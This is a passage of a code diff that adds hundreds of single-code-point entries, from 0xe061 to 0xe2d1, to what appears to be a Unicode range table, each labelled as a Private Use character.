+ [0xe061, 0xe061], /* Private Use */
+ [0xe062, 0xe062], /* Private Use */
+ [0xe063, 0xe063], /* Private Use */
+ [0xe064, 0xe064], /* Private Use */
+ [0xe065, 0xe065], /* Private Use */
+ [0xe066, 0xe066], /* Private Use */
+ [0xe067, 0xe067], /* Private Use */
+ [0xe068, 0xe068], /* Private Use */
+ [0xe069, 0xe069], /* Private Use */
+ [0xe06a, 0xe06a], /* Private Use */
+ [0xe06b, 0xe06b], /* Private Use */
+ [0xe06c, 0xe06c], /* Private Use */
+ [0xe06d, 0xe06d], /* Private Use */
+ [0xe06e, 0xe06e], /* Private Use */
+ [0xe06f, 0xe06f], /* Private Use */
+ [0xe070, 0xe070], /* Private Use */
+ [0xe071, 0xe071], /* Private Use */
+ [0xe072, 0xe072], /* Private Use */
+ [0xe073, 0xe073], /* Private Use */
+ [0xe074, 0xe074], /* Private Use */
+ [0xe075, 0xe075], /* Private Use */
+ [0xe076, 0xe076], /* Private Use */
+ [0xe077, 0xe077], /* Private Use */
+ [0xe078, 0xe078], /* Private Use */
+ [0xe079, 0xe079], /* Private Use */
+ [0xe07a, 0xe07a], /* Private Use */
+ [0xe07b, 0xe07b], /* Private Use */
+ [0xe07c, 0xe07c], /* Private Use */
+ [0xe07d, 0xe07d], /* Private Use */
+ [0xe07e, 0xe07e], /* Private Use */
+ [0xe07f, 0xe07f], /* Private Use */
+ [0xe080, 0xe080], /* Private Use */
+ [0xe081, 0xe081], /* Private Use */
+ [0xe082, 0xe082], /* Private Use */
+ [0xe083, 0xe083], /* Private Use */
+ [0xe084, 0xe084], /* Private Use */
+ [0xe085, 0xe085], /* Private Use */
+ [0xe086, 0xe086], /* Private Use */
+ [0xe087, 0xe087], /* Private Use */
+ [0xe088, 0xe088], /* Private Use */
+ [0xe089, 0xe089], /* Private Use */
+ [0xe08a, 0xe08a], /* Private Use */
+ [0xe08b, 0xe08b], /* Private Use */
+ [0xe08c, 0xe08c], /* Private Use */
+ [0xe08d, 0xe08d], /* Private Use */
+ [0xe08e, 0xe08e], /* Private Use */
+ [0xe08f, 0xe08f], /* Private Use */
+ [0xe090, 0xe090], /* Private Use */
+ [0xe091, 0xe091], /* Private Use */
+ [0xe092, 0xe092], /* Private Use */
+ [0xe093, 0xe093], /* Private Use */
+ [0xe094, 0xe094], /* Private Use */
+ [0xe095, 0xe095], /* Private Use */
+ [0xe096, 0xe096], /* Private Use */
+ [0xe097, 0xe097], /* Private Use */
+ [0xe098, 0xe098], /* Private Use */
+ [0xe099, 0xe099], /* Private Use */
+ [0xe09a, 0xe09a], /* Private Use */
+ [0xe09b, 0xe09b], /* Private Use */
+ [0xe09c, 0xe09c], /* Private Use */
+ [0xe09d, 0xe09d], /* Private Use */
+ [0xe09e, 0xe09e], /* Private Use */
+ [0xe09f, 0xe09f], /* Private Use */
+ [0xe0a0, 0xe0a0], /* Private Use */
+ [0xe0a1, 0xe0a1], /* Private Use */
+ [0xe0a2, 0xe0a2], /* Private Use */
+ [0xe0a3, 0xe0a3], /* Private Use */
+ [0xe0a4, 0xe0a4], /* Private Use */
+ [0xe0a5, 0xe0a5], /* Private Use */
+ [0xe0a6, 0xe0a6], /* Private Use */
+ [0xe0a7, 0xe0a7], /* Private Use */
+ [0xe0a8, 0xe0a8], /* Private Use */
+ [0xe0a9, 0xe0a9], /* Private Use */
+ [0xe0aa, 0xe0aa], /* Private Use */
+ [0xe0ab, 0xe0ab], /* Private Use */
+ [0xe0ac, 0xe0ac], /* Private Use */
+ [0xe0ad, 0xe0ad], /* Private Use */
+ [0xe0ae, 0xe0ae], /* Private Use */
+ [0xe0af, 0xe0af], /* Private Use */
+ [0xe0b0, 0xe0b0], /* Private Use */
+ [0xe0b1, 0xe0b1], /* Private Use */
+ [0xe0b2, 0xe0b2], /* Private Use */
+ [0xe0b3, 0xe0b3], /* Private Use */
+ [0xe0b4, 0xe0b4], /* Private Use */
+ [0xe0b5, 0xe0b5], /* Private Use */
+ [0xe0b6, 0xe0b6], /* Private Use */
+ [0xe0b7, 0xe0b7], /* Private Use */
+ [0xe0b8, 0xe0b8], /* Private Use */
+ [0xe0b9, 0xe0b9], /* Private Use */
+ [0xe0ba, 0xe0ba], /* Private Use */
+ [0xe0bb, 0xe0bb], /* Private Use */
+ [0xe0bc, 0xe0bc], /* Private Use */
+ [0xe0bd, 0xe0bd], /* Private Use */
+ [0xe0be, 0xe0be], /* Private Use */
+ [0xe0bf, 0xe0bf], /* Private Use */
+ [0xe0c0, 0xe0c0], /* Private Use */
+ [0xe0c1, 0xe0c1], /* Private Use */
+ [0xe0c2, 0xe0c2], /* Private Use */
+ [0xe0c3, 0xe0c3], /* Private Use */
+ [0xe0c4, 0xe0c4], /* Private Use */
+ [0xe0c5, 0xe0c5], /* Private Use */
+ [0xe0c6, 0xe0c6], /* Private Use */
+ [0xe0c7, 0xe0c7], /* Private Use */
+ [0xe0c8, 0xe0c8], /* Private Use */
+ [0xe0c9, 0xe0c9], /* Private Use */
+ [0xe0ca, 0xe0ca], /* Private Use */
+ [0xe0cb, 0xe0cb], /* Private Use */
+ [0xe0cc, 0xe0cc], /* Private Use */
+ [0xe0cd, 0xe0cd], /* Private Use */
+ [0xe0ce, 0xe0ce], /* Private Use */
+ [0xe0cf, 0xe0cf], /* Private Use */
+ [0xe0d0, 0xe0d0], /* Private Use */
+ [0xe0d1, 0xe0d1], /* Private Use */
+ [0xe0d2, 0xe0d2], /* Private Use */
+ [0xe0d3, 0xe0d3], /* Private Use */
+ [0xe0d4, 0xe0d4], /* Private Use */
+ [0xe0d5, 0xe0d5], /* Private Use */
+ [0xe0d6, 0xe0d6], /* Private Use */
+ [0xe0d7, 0xe0d7], /* Private Use */
+ [0xe0d8, 0xe0d8], /* Private Use */
+ [0xe0d9, 0xe0d9], /* Private Use */
+ [0xe0da, 0xe0da], /* Private Use */
+ [0xe0db, 0xe0db], /* Private Use */
+ [0xe0dc, 0xe0dc], /* Private Use */
+ [0xe0dd, 0xe0dd], /* Private Use */
+ [0xe0de, 0xe0de], /* Private Use */
+ [0xe0df, 0xe0df], /* Private Use */
+ [0xe0e0, 0xe0e0], /* Private Use */
+ [0xe0e1, 0xe0e1], /* Private Use */
+ [0xe0e2, 0xe0e2], /* Private Use */
+ [0xe0e3, 0xe0e3], /* Private Use */
+ [0xe0e4, 0xe0e4], /* Private Use */
+ [0xe0e5, 0xe0e5], /* Private Use */
+ [0xe0e6, 0xe0e6], /* Private Use */
+ [0xe0e7, 0xe0e7], /* Private Use */
+ [0xe0e8, 0xe0e8], /* Private Use */
+ [0xe0e9, 0xe0e9], /* Private Use */
+ [0xe0ea, 0xe0ea], /* Private Use */
+ [0xe0eb, 0xe0eb], /* Private Use */
+ [0xe0ec, 0xe0ec], /* Private Use */
+ [0xe0ed, 0xe0ed], /* Private Use */
+ [0xe0ee, 0xe0ee], /* Private Use */
+ [0xe0ef, 0xe0ef], /* Private Use */
+ [0xe0f0, 0xe0f0], /* Private Use */
+ [0xe0f1, 0xe0f1], /* Private Use */
+ [0xe0f2, 0xe0f2], /* Private Use */
+ [0xe0f3, 0xe0f3], /* Private Use */
+ [0xe0f4, 0xe0f4], /* Private Use */
+ [0xe0f5, 0xe0f5], /* Private Use */
+ [0xe0f6, 0xe0f6], /* Private Use */
+ [0xe0f7, 0xe0f7], /* Private Use */
+ [0xe0f8, 0xe0f8], /* Private Use */
+ [0xe0f9, 0xe0f9], /* Private Use */
+ [0xe0fa, 0xe0fa], /* Private Use */
+ [0xe0fb, 0xe0fb], /* Private Use */
+ [0xe0fc, 0xe0fc], /* Private Use */
+ [0xe0fd, 0xe0fd], /* Private Use */
+ [0xe0fe, 0xe0fe], /* Private Use */
+ [0xe0ff, 0xe0ff], /* Private Use */
+ [0xe100, 0xe100], /* Private Use */
+ [0xe101, 0xe101], /* Private Use */
+ [0xe102, 0xe102], /* Private Use */
+ [0xe103, 0xe103], /* Private Use */
+ [0xe104, 0xe104], /* Private Use */
+ [0xe105, 0xe105], /* Private Use */
+ [0xe106, 0xe106], /* Private Use */
+ [0xe107, 0xe107], /* Private Use */
+ [0xe108, 0xe108], /* Private Use */
+ [0xe109, 0xe109], /* Private Use */
+ [0xe10a, 0xe10a], /* Private Use */
+ [0xe10b, 0xe10b], /* Private Use */
+ [0xe10c, 0xe10c], /* Private Use */
+ [0xe10d, 0xe10d], /* Private Use */
+ [0xe10e, 0xe10e], /* Private Use */
+ [0xe10f, 0xe10f], /* Private Use */
+ [0xe110, 0xe110], /* Private Use */
+ [0xe111, 0xe111], /* Private Use */
+ [0xe112, 0xe112], /* Private Use */
+ [0xe113, 0xe113], /* Private Use */
+ [0xe114, 0xe114], /* Private Use */
+ [0xe115, 0xe115], /* Private Use */
+ [0xe116, 0xe116], /* Private Use */
+ [0xe117, 0xe117], /* Private Use */
+ [0xe118, 0xe118], /* Private Use */
+ [0xe119, 0xe119], /* Private Use */
+ [0xe11a, 0xe11a], /* Private Use */
+ [0xe11b, 0xe11b], /* Private Use */
+ [0xe11c, 0xe11c], /* Private Use */
+ [0xe11d, 0xe11d], /* Private Use */
+ [0xe11e, 0xe11e], /* Private Use */
+ [0xe11f, 0xe11f], /* Private Use */
+ [0xe120, 0xe120], /* Private Use */
+ [0xe121, 0xe121], /* Private Use */
+ [0xe122, 0xe122], /* Private Use */
+ [0xe123, 0xe123], /* Private Use */
+ [0xe124, 0xe124], /* Private Use */
+ [0xe125, 0xe125], /* Private Use */
+ [0xe126, 0xe126], /* Private Use */
+ [0xe127, 0xe127], /* Private Use */
+ [0xe128, 0xe128], /* Private Use */
+ [0xe129, 0xe129], /* Private Use */
+ [0xe12a, 0xe12a], /* Private Use */
+ [0xe12b, 0xe12b], /* Private Use */
+ [0xe12c, 0xe12c], /* Private Use */
+ [0xe12d, 0xe12d], /* Private Use */
+ [0xe12e, 0xe12e], /* Private Use */
+ [0xe12f, 0xe12f], /* Private Use */
+ [0xe130, 0xe130], /* Private Use */
+ [0xe131, 0xe131], /* Private Use */
+ [0xe132, 0xe132], /* Private Use */
+ [0xe133, 0xe133], /* Private Use */
+ [0xe134, 0xe134], /* Private Use */
+ [0xe135, 0xe135], /* Private Use */
+ [0xe136, 0xe136], /* Private Use */
+ [0xe137, 0xe137], /* Private Use */
+ [0xe138, 0xe138], /* Private Use */
+ [0xe139, 0xe139], /* Private Use */
+ [0xe13a, 0xe13a], /* Private Use */
+ [0xe13b, 0xe13b], /* Private Use */
+ [0xe13c, 0xe13c], /* Private Use */
+ [0xe13d, 0xe13d], /* Private Use */
+ [0xe13e, 0xe13e], /* Private Use */
+ [0xe13f, 0xe13f], /* Private Use */
+ [0xe140, 0xe140], /* Private Use */
+ [0xe141, 0xe141], /* Private Use */
+ [0xe142, 0xe142], /* Private Use */
+ [0xe143, 0xe143], /* Private Use */
+ [0xe144, 0xe144], /* Private Use */
+ [0xe145, 0xe145], /* Private Use */
+ [0xe146, 0xe146], /* Private Use */
+ [0xe147, 0xe147], /* Private Use */
+ [0xe148, 0xe148], /* Private Use */
+ [0xe149, 0xe149], /* Private Use */
+ [0xe14a, 0xe14a], /* Private Use */
+ [0xe14b, 0xe14b], /* Private Use */
+ [0xe14c, 0xe14c], /* Private Use */
+ [0xe14d, 0xe14d], /* Private Use */
+ [0xe14e, 0xe14e], /* Private Use */
+ [0xe14f, 0xe14f], /* Private Use */
+ [0xe150, 0xe150], /* Private Use */
+ [0xe151, 0xe151], /* Private Use */
+ [0xe152, 0xe152], /* Private Use */
+ [0xe153, 0xe153], /* Private Use */
+ [0xe154, 0xe154], /* Private Use */
+ [0xe155, 0xe155], /* Private Use */
+ [0xe156, 0xe156], /* Private Use */
+ [0xe157, 0xe157], /* Private Use */
+ [0xe158, 0xe158], /* Private Use */
+ [0xe159, 0xe159], /* Private Use */
+ [0xe15a, 0xe15a], /* Private Use */
+ [0xe15b, 0xe15b], /* Private Use */
+ [0xe15c, 0xe15c], /* Private Use */
+ [0xe15d, 0xe15d], /* Private Use */
+ [0xe15e, 0xe15e], /* Private Use */
+ [0xe15f, 0xe15f], /* Private Use */
+ [0xe160, 0xe160], /* Private Use */
+ [0xe161, 0xe161], /* Private Use */
+ [0xe162, 0xe162], /* Private Use */
+ [0xe163, 0xe163], /* Private Use */
+ [0xe164, 0xe164], /* Private Use */
+ [0xe165, 0xe165], /* Private Use */
+ [0xe166, 0xe166], /* Private Use */
+ [0xe167, 0xe167], /* Private Use */
+ [0xe168, 0xe168], /* Private Use */
+ [0xe169, 0xe169], /* Private Use */
+ [0xe16a, 0xe16a], /* Private Use */
+ [0xe16b, 0xe16b], /* Private Use */
+ [0xe16c, 0xe16c], /* Private Use */
+ [0xe16d, 0xe16d], /* Private Use */
+ [0xe16e, 0xe16e], /* Private Use */
+ [0xe16f, 0xe16f], /* Private Use */
+ [0xe170, 0xe170], /* Private Use */
+ [0xe171, 0xe171], /* Private Use */
+ [0xe172, 0xe172], /* Private Use */
+ [0xe173, 0xe173], /* Private Use */
+ [0xe174, 0xe174], /* Private Use */
+ [0xe175, 0xe175], /* Private Use */
+ [0xe176, 0xe176], /* Private Use */
+ [0xe177, 0xe177], /* Private Use */
+ [0xe178, 0xe178], /* Private Use */
+ [0xe179, 0xe179], /* Private Use */
+ [0xe17a, 0xe17a], /* Private Use */
+ [0xe17b, 0xe17b], /* Private Use */
+ [0xe17c, 0xe17c], /* Private Use */
+ [0xe17d, 0xe17d], /* Private Use */
+ [0xe17e, 0xe17e], /* Private Use */
+ [0xe17f, 0xe17f], /* Private Use */
+ [0xe180, 0xe180], /* Private Use */
+ [0xe181, 0xe181], /* Private Use */
+ [0xe182, 0xe182], /* Private Use */
+ [0xe183, 0xe183], /* Private Use */
+ [0xe184, 0xe184], /* Private Use */
+ [0xe185, 0xe185], /* Private Use */
+ [0xe186, 0xe186], /* Private Use */
+ [0xe187, 0xe187], /* Private Use */
+ [0xe188, 0xe188], /* Private Use */
+ [0xe189, 0xe189], /* Private Use */
+ [0xe18a, 0xe18a], /* Private Use */
+ [0xe18b, 0xe18b], /* Private Use */
+ [0xe18c, 0xe18c], /* Private Use */
+ [0xe18d, 0xe18d], /* Private Use */
+ [0xe18e, 0xe18e], /* Private Use */
+ [0xe18f, 0xe18f], /* Private Use */
+ [0xe190, 0xe190], /* Private Use */
+ [0xe191, 0xe191], /* Private Use */
+ [0xe192, 0xe192], /* Private Use */
+ [0xe193, 0xe193], /* Private Use */
+ [0xe194, 0xe194], /* Private Use */
+ [0xe195, 0xe195], /* Private Use */
+ [0xe196, 0xe196], /* Private Use */
+ [0xe197, 0xe197], /* Private Use */
+ [0xe198, 0xe198], /* Private Use */
+ [0xe199, 0xe199], /* Private Use */
+ [0xe19a, 0xe19a], /* Private Use */
+ [0xe19b, 0xe19b], /* Private Use */
+ [0xe19c, 0xe19c], /* Private Use */
+ [0xe19d, 0xe19d], /* Private Use */
+ [0xe19e, 0xe19e], /* Private Use */
+ [0xe19f, 0xe19f], /* Private Use */
+ [0xe1a0, 0xe1a0], /* Private Use */
+ [0xe1a1, 0xe1a1], /* Private Use */
+ [0xe1a2, 0xe1a2], /* Private Use */
+ [0xe1a3, 0xe1a3], /* Private Use */
+ [0xe1a4, 0xe1a4], /* Private Use */
+ [0xe1a5, 0xe1a5], /* Private Use */
+ [0xe1a6, 0xe1a6], /* Private Use */
+ [0xe1a7, 0xe1a7], /* Private Use */
+ [0xe1a8, 0xe1a8], /* Private Use */
+ [0xe1a9, 0xe1a9], /* Private Use */
+ [0xe1aa, 0xe1aa], /* Private Use */
+ [0xe1ab, 0xe1ab], /* Private Use */
+ [0xe1ac, 0xe1ac], /* Private Use */
+ [0xe1ad, 0xe1ad], /* Private Use */
+ [0xe1ae, 0xe1ae], /* Private Use */
+ [0xe1af, 0xe1af], /* Private Use */
+ [0xe1b0, 0xe1b0], /* Private Use */
+ [0xe1b1, 0xe1b1], /* Private Use */
+ [0xe1b2, 0xe1b2], /* Private Use */
+ [0xe1b3, 0xe1b3], /* Private Use */
+ [0xe1b4, 0xe1b4], /* Private Use */
+ [0xe1b5, 0xe1b5], /* Private Use */
+ [0xe1b6, 0xe1b6], /* Private Use */
+ [0xe1b7, 0xe1b7], /* Private Use */
+ [0xe1b8, 0xe1b8], /* Private Use */
+ [0xe1b9, 0xe1b9], /* Private Use */
+ [0xe1ba, 0xe1ba], /* Private Use */
+ [0xe1bb, 0xe1bb], /* Private Use */
+ [0xe1bc, 0xe1bc], /* Private Use */
+ [0xe1bd, 0xe1bd], /* Private Use */
+ [0xe1be, 0xe1be], /* Private Use */
+ [0xe1bf, 0xe1bf], /* Private Use */
+ [0xe1c0, 0xe1c0], /* Private Use */
+ [0xe1c1, 0xe1c1], /* Private Use */
+ [0xe1c2, 0xe1c2], /* Private Use */
+ [0xe1c3, 0xe1c3], /* Private Use */
+ [0xe1c4, 0xe1c4], /* Private Use */
+ [0xe1c5, 0xe1c5], /* Private Use */
+ [0xe1c6, 0xe1c6], /* Private Use */
+ [0xe1c7, 0xe1c7], /* Private Use */
+ [0xe1c8, 0xe1c8], /* Private Use */
+ [0xe1c9, 0xe1c9], /* Private Use */
+ [0xe1ca, 0xe1ca], /* Private Use */
+ [0xe1cb, 0xe1cb], /* Private Use */
+ [0xe1cc, 0xe1cc], /* Private Use */
+ [0xe1cd, 0xe1cd], /* Private Use */
+ [0xe1ce, 0xe1ce], /* Private Use */
+ [0xe1cf, 0xe1cf], /* Private Use */
+ [0xe1d0, 0xe1d0], /* Private Use */
+ [0xe1d1, 0xe1d1], /* Private Use */
+ [0xe1d2, 0xe1d2], /* Private Use */
+ [0xe1d3, 0xe1d3], /* Private Use */
+ [0xe1d4, 0xe1d4], /* Private Use */
+ [0xe1d5, 0xe1d5], /* Private Use */
+ [0xe1d6, 0xe1d6], /* Private Use */
+ [0xe1d7, 0xe1d7], /* Private Use */
+ [0xe1d8, 0xe1d8], /* Private Use */
+ [0xe1d9, 0xe1d9], /* Private Use */
+ [0xe1da, 0xe1da], /* Private Use */
+ [0xe1db, 0xe1db], /* Private Use */
+ [0xe1dc, 0xe1dc], /* Private Use */
+ [0xe1dd, 0xe1dd], /* Private Use */
+ [0xe1de, 0xe1de], /* Private Use */
+ [0xe1df, 0xe1df], /* Private Use */
+ [0xe1e0, 0xe1e0], /* Private Use */
+ [0xe1e1, 0xe1e1], /* Private Use */
+ [0xe1e2, 0xe1e2], /* Private Use */
+ [0xe1e3, 0xe1e3], /* Private Use */
+ [0xe1e4, 0xe1e4], /* Private Use */
+ [0xe1e5, 0xe1e5], /* Private Use */
+ [0xe1e6, 0xe1e6], /* Private Use */
+ [0xe1e7, 0xe1e7], /* Private Use */
+ [0xe1e8, 0xe1e8], /* Private Use */
+ [0xe1e9, 0xe1e9], /* Private Use */
+ [0xe1ea, 0xe1ea], /* Private Use */
+ [0xe1eb, 0xe1eb], /* Private Use */
+ [0xe1ec, 0xe1ec], /* Private Use */
+ [0xe1ed, 0xe1ed], /* Private Use */
+ [0xe1ee, 0xe1ee], /* Private Use */
+ [0xe1ef, 0xe1ef], /* Private Use */
+ [0xe1f0, 0xe1f0], /* Private Use */
+ [0xe1f1, 0xe1f1], /* Private Use */
+ [0xe1f2, 0xe1f2], /* Private Use */
+ [0xe1f3, 0xe1f3], /* Private Use */
+ [0xe1f4, 0xe1f4], /* Private Use */
+ [0xe1f5, 0xe1f5], /* Private Use */
+ [0xe1f6, 0xe1f6], /* Private Use */
+ [0xe1f7, 0xe1f7], /* Private Use */
+ [0xe1f8, 0xe1f8], /* Private Use */
+ [0xe1f9, 0xe1f9], /* Private Use */
+ [0xe1fa, 0xe1fa], /* Private Use */
+ [0xe1fb, 0xe1fb], /* Private Use */
+ [0xe1fc, 0xe1fc], /* Private Use */
+ [0xe1fd, 0xe1fd], /* Private Use */
+ [0xe1fe, 0xe1fe], /* Private Use */
+ [0xe1ff, 0xe1ff], /* Private Use */
+ [0xe200, 0xe200], /* Private Use */
+ [0xe201, 0xe201], /* Private Use */
+ [0xe202, 0xe202], /* Private Use */
+ [0xe203, 0xe203], /* Private Use */
+ [0xe204, 0xe204], /* Private Use */
+ [0xe205, 0xe205], /* Private Use */
+ [0xe206, 0xe206], /* Private Use */
+ [0xe207, 0xe207], /* Private Use */
+ [0xe208, 0xe208], /* Private Use */
+ [0xe209, 0xe209], /* Private Use */
+ [0xe20a, 0xe20a], /* Private Use */
+ [0xe20b, 0xe20b], /* Private Use */
+ [0xe20c, 0xe20c], /* Private Use */
+ [0xe20d, 0xe20d], /* Private Use */
+ [0xe20e, 0xe20e], /* Private Use */
+ [0xe20f, 0xe20f], /* Private Use */
+ [0xe210, 0xe210], /* Private Use */
+ [0xe211, 0xe211], /* Private Use */
+ [0xe212, 0xe212], /* Private Use */
+ [0xe213, 0xe213], /* Private Use */
+ [0xe214, 0xe214], /* Private Use */
+ [0xe215, 0xe215], /* Private Use */
+ [0xe216, 0xe216], /* Private Use */
+ [0xe217, 0xe217], /* Private Use */
+ [0xe218, 0xe218], /* Private Use */
+ [0xe219, 0xe219], /* Private Use */
+ [0xe21a, 0xe21a], /* Private Use */
+ [0xe21b, 0xe21b], /* Private Use */
+ [0xe21c, 0xe21c], /* Private Use */
+ [0xe21d, 0xe21d], /* Private Use */
+ [0xe21e, 0xe21e], /* Private Use */
+ [0xe21f, 0xe21f], /* Private Use */
+ [0xe220, 0xe220], /* Private Use */
+ [0xe221, 0xe221], /* Private Use */
+ [0xe222, 0xe222], /* Private Use */
+ [0xe223, 0xe223], /* Private Use */
+ [0xe224, 0xe224], /* Private Use */
+ [0xe225, 0xe225], /* Private Use */
+ [0xe226, 0xe226], /* Private Use */
+ [0xe227, 0xe227], /* Private Use */
+ [0xe228, 0xe228], /* Private Use */
+ [0xe229, 0xe229], /* Private Use */
+ [0xe22a, 0xe22a], /* Private Use */
+ [0xe22b, 0xe22b], /* Private Use */
+ [0xe22c, 0xe22c], /* Private Use */
+ [0xe22d, 0xe22d], /* Private Use */
+ [0xe22e, 0xe22e], /* Private Use */
+ [0xe22f, 0xe22f], /* Private Use */
+ [0xe230, 0xe230], /* Private Use */
+ [0xe231, 0xe231], /* Private Use */
+ [0xe232, 0xe232], /* Private Use */
+ [0xe233, 0xe233], /* Private Use */
+ [0xe234, 0xe234], /* Private Use */
+ [0xe235, 0xe235], /* Private Use */
+ [0xe236, 0xe236], /* Private Use */
+ [0xe237, 0xe237], /* Private Use */
+ [0xe238, 0xe238], /* Private Use */
+ [0xe239, 0xe239], /* Private Use */
+ [0xe23a, 0xe23a], /* Private Use */
+ [0xe23b, 0xe23b], /* Private Use */
+ [0xe23c, 0xe23c], /* Private Use */
+ [0xe23d, 0xe23d], /* Private Use */
+ [0xe23e, 0xe23e], /* Private Use */
+ [0xe23f, 0xe23f], /* Private Use */
+ [0xe240, 0xe240], /* Private Use */
+ [0xe241, 0xe241], /* Private Use */
+ [0xe242, 0xe242], /* Private Use */
+ [0xe243, 0xe243], /* Private Use */
+ [0xe244, 0xe244], /* Private Use */
+ [0xe245, 0xe245], /* Private Use */
+ [0xe246, 0xe246], /* Private Use */
+ [0xe247, 0xe247], /* Private Use */
+ [0xe248, 0xe248], /* Private Use */
+ [0xe249, 0xe249], /* Private Use */
+ [0xe24a, 0xe24a], /* Private Use */
+ [0xe24b, 0xe24b], /* Private Use */
+ [0xe24c, 0xe24c], /* Private Use */
+ [0xe24d, 0xe24d], /* Private Use */
+ [0xe24e, 0xe24e], /* Private Use */
+ [0xe24f, 0xe24f], /* Private Use */
+ [0xe250, 0xe250], /* Private Use */
+ [0xe251, 0xe251], /* Private Use */
+ [0xe252, 0xe252], /* Private Use */
+ [0xe253, 0xe253], /* Private Use */
+ [0xe254, 0xe254], /* Private Use */
+ [0xe255, 0xe255], /* Private Use */
+ [0xe256, 0xe256], /* Private Use */
+ [0xe257, 0xe257], /* Private Use */
+ [0xe258, 0xe258], /* Private Use */
+ [0xe259, 0xe259], /* Private Use */
+ [0xe25a, 0xe25a], /* Private Use */
+ [0xe25b, 0xe25b], /* Private Use */
+ [0xe25c, 0xe25c], /* Private Use */
+ [0xe25d, 0xe25d], /* Private Use */
+ [0xe25e, 0xe25e], /* Private Use */
+ [0xe25f, 0xe25f], /* Private Use */
+ [0xe260, 0xe260], /* Private Use */
+ [0xe261, 0xe261], /* Private Use */
+ [0xe262, 0xe262], /* Private Use */
+ [0xe263, 0xe263], /* Private Use */
+ [0xe264, 0xe264], /* Private Use */
+ [0xe265, 0xe265], /* Private Use */
+ [0xe266, 0xe266], /* Private Use */
+ [0xe267, 0xe267], /* Private Use */
+ [0xe268, 0xe268], /* Private Use */
+ [0xe269, 0xe269], /* Private Use */
+ [0xe26a, 0xe26a], /* Private Use */
+ [0xe26b, 0xe26b], /* Private Use */
+ [0xe26c, 0xe26c], /* Private Use */
+ [0xe26d, 0xe26d], /* Private Use */
+ [0xe26e, 0xe26e], /* Private Use */
+ [0xe26f, 0xe26f], /* Private Use */
+ [0xe270, 0xe270], /* Private Use */
+ [0xe271, 0xe271], /* Private Use */
+ [0xe272, 0xe272], /* Private Use */
+ [0xe273, 0xe273], /* Private Use */
+ [0xe274, 0xe274], /* Private Use */
+ [0xe275, 0xe275], /* Private Use */
+ [0xe276, 0xe276], /* Private Use */
+ [0xe277, 0xe277], /* Private Use */
+ [0xe278, 0xe278], /* Private Use */
+ [0xe279, 0xe279], /* Private Use */
+ [0xe27a, 0xe27a], /* Private Use */
+ [0xe27b, 0xe27b], /* Private Use */
+ [0xe27c, 0xe27c], /* Private Use */
+ [0xe27d, 0xe27d], /* Private Use */
+ [0xe27e, 0xe27e], /* Private Use */
+ [0xe27f, 0xe27f], /* Private Use */
+ [0xe280, 0xe280], /* Private Use */
+ [0xe281, 0xe281], /* Private Use */
+ [0xe282, 0xe282], /* Private Use */
+ [0xe283, 0xe283], /* Private Use */
+ [0xe284, 0xe284], /* Private Use */
+ [0xe285, 0xe285], /* Private Use */
+ [0xe286, 0xe286], /* Private Use */
+ [0xe287, 0xe287], /* Private Use */
+ [0xe288, 0xe288], /* Private Use */
+ [0xe289, 0xe289], /* Private Use */
+ [0xe28a, 0xe28a], /* Private Use */
+ [0xe28b, 0xe28b], /* Private Use */
+ [0xe28c, 0xe28c], /* Private Use */
+ [0xe28d, 0xe28d], /* Private Use */
+ [0xe28e, 0xe28e], /* Private Use */
+ [0xe28f, 0xe28f], /* Private Use */
+ [0xe290, 0xe290], /* Private Use */
+ [0xe291, 0xe291], /* Private Use */
+ [0xe292, 0xe292], /* Private Use */
+ [0xe293, 0xe293], /* Private Use */
+ [0xe294, 0xe294], /* Private Use */
+ [0xe295, 0xe295], /* Private Use */
+ [0xe296, 0xe296], /* Private Use */
+ [0xe297, 0xe297], /* Private Use */
+ [0xe298, 0xe298], /* Private Use */
+ [0xe299, 0xe299], /* Private Use */
+ [0xe29a, 0xe29a], /* Private Use */
+ [0xe29b, 0xe29b], /* Private Use */
+ [0xe29c, 0xe29c], /* Private Use */
+ [0xe29d, 0xe29d], /* Private Use */
+ [0xe29e, 0xe29e], /* Private Use */
+ [0xe29f, 0xe29f], /* Private Use */
+ [0xe2a0, 0xe2a0], /* Private Use */
+ [0xe2a1, 0xe2a1], /* Private Use */
+ [0xe2a2, 0xe2a2], /* Private Use */
+ [0xe2a3, 0xe2a3], /* Private Use */
+ [0xe2a4, 0xe2a4], /* Private Use */
+ [0xe2a5, 0xe2a5], /* Private Use */
+ [0xe2a6, 0xe2a6], /* Private Use */
+ [0xe2a7, 0xe2a7], /* Private Use */
+ [0xe2a8, 0xe2a8], /* Private Use */
+ [0xe2a9, 0xe2a9], /* Private Use */
+ [0xe2aa, 0xe2aa], /* Private Use */
+ [0xe2ab, 0xe2ab], /* Private Use */
+ [0xe2ac, 0xe2ac], /* Private Use */
+ [0xe2ad, 0xe2ad], /* Private Use */
+ [0xe2ae, 0xe2ae], /* Private Use */
+ [0xe2af, 0xe2af], /* Private Use */
+ [0xe2b0, 0xe2b0], /* Private Use */
+ [0xe2b1, 0xe2b1], /* Private Use */
+ [0xe2b2, 0xe2b2], /* Private Use */
+ [0xe2b3, 0xe2b3], /* Private Use */
+ [0xe2b4, 0xe2b4], /* Private Use */
+ [0xe2b5, 0xe2b5], /* Private Use */
+ [0xe2b6, 0xe2b6], /* Private Use */
+ [0xe2b7, 0xe2b7], /* Private Use */
+ [0xe2b8, 0xe2b8], /* Private Use */
+ [0xe2b9, 0xe2b9], /* Private Use */
+ [0xe2ba, 0xe2ba], /* Private Use */
+ [0xe2bb, 0xe2bb], /* Private Use */
+ [0xe2bc, 0xe2bc], /* Private Use */
+ [0xe2bd, 0xe2bd], /* Private Use */
+ [0xe2be, 0xe2be], /* Private Use */
+ [0xe2bf, 0xe2bf], /* Private Use */
+ [0xe2c0, 0xe2c0], /* Private Use */
+ [0xe2c1, 0xe2c1], /* Private Use */
+ [0xe2c2, 0xe2c2], /* Private Use */
+ [0xe2c3, 0xe2c3], /* Private Use */
+ [0xe2c4, 0xe2c4], /* Private Use */
+ [0xe2c5, 0xe2c5], /* Private Use */
+ [0xe2c6, 0xe2c6], /* Private Use */
+ [0xe2c7, 0xe2c7], /* Private Use */
+ [0xe2c8, 0xe2c8], /* Private Use */
+ [0xe2c9, 0xe2c9], /* Private Use */
+ [0xe2ca, 0xe2ca], /* Private Use */
+ [0xe2cb, 0xe2cb], /* Private Use */
+ [0xe2cc, 0xe2cc], /* Private Use */
+ [0xe2cd, 0xe2cd], /* Private Use */
+ [0xe2ce, 0xe2ce], /* Private Use */
+ [0xe2cf, 0xe2cf], /* Private Use */
+ [0xe2d0, 0xe2d0], /* Private Use */
+ [0xe2d1, 0xe2d1], /* Private Use */
